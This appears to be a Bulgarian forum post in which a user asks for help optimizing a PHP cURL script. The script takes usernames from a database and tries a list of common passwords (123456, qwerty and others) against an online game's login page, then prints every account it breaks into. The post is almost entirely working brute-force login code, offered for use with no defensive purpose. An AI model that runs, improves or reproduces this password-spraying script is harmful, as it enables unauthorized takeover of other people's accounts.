dakata__92
Super Moderator
Здравейте ! Искам да си направя логър със cURL и си драснах едно кодче, но желая да го оптимизирам ! Та в базата имам някакъв набор от имена и жилая да пробвам няколко пароли и ако се логнат да ми изпише акаунта и така. Eто това драснах :
PHP:
<?php
include('config.php');
$Cookies = 'include/logger.txt';
$Location = 'http://example.com/';
$Realm = $Location.'login.php?realm=13&lang=bg';
//Ф-ция за взимане на информацията на страница.
function Get($url)
{
global $Cookies;
$headers = array('Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
'Connection: Keep-Alive',
'Content-type: application/x-www-form-urlencoded;charset=UTF-8'); //масив с хедъри, които да прати при заявката
$user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; //user agent, с който да се представи скрипта
$process = curl_init($url); // стартираме cURL
curl_setopt($process, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($process, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers); // задаваме хедърите, които искаме да пратим
curl_setopt($process, CURLOPT_HEADER, 0); // задаваме не връща хедърите, които е получил от сайта
curl_setopt($process, CURLOPT_USERAGENT, $user_agent); //задаваме user agent-а
curl_setopt($process,CURLOPT_ENCODING , 'gzip'); //задаваме енкодинга
curl_setopt($process, CURLOPT_TIMEOUT, 30); // максимален брой секунди за изпълнение на cURL заявката
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); //Това задава на cURL да върне резултата с функцията curl_exec. Ако е зададен false, резултата се принтира директно на страницата
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); //Зададен е true, за да последва, ако сайта редиректва към друга страница
$return = curl_exec($process); //Изпълняваме процеса и връщаме съдържанието на страницата в променливата $return
curl_close($process); //затваряме cURL
return $return; //Връщаме HTML кода
}
$our = mysql_query("SELECT count(id) as user_total FROM `people`");
while($ra = mysql_fetch_array($our))
{
echo "Имаме <b>" .$ra['user_total']. "</b> акаунта!<br>";
}
$arrPass = array('123456','654321','123456789','987654321','134679','976431','qwerty','qazwsx','0123456','abc123');
$options = mysql_query("SELECT * FROM `people` ORDER BY id ASC");
$acc = 1;
while($r = mysql_fetch_array($options))
{
$name = $r['name'];
foreach($arrPass as $thepass)
{
$ch = curl_init();
$data = array('uname' => $name, 'password' => $thepass, 'form_submit'=>'Вход');
curl_setopt($ch, CURLOPT_URL, $Realm);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);
curl_close($ch);
$see = Get($Location.'village3.php');
if(preg_match('/\<div id\=\"rwood\"\>/',$see))
{
echo "<font color='green'><b>(№ $acc - $name - $thepass)</b></font><br>";
}
}
echo "<font color='red'><b>№ $acc - $name</b></font><br>";
$acc++;
}
?>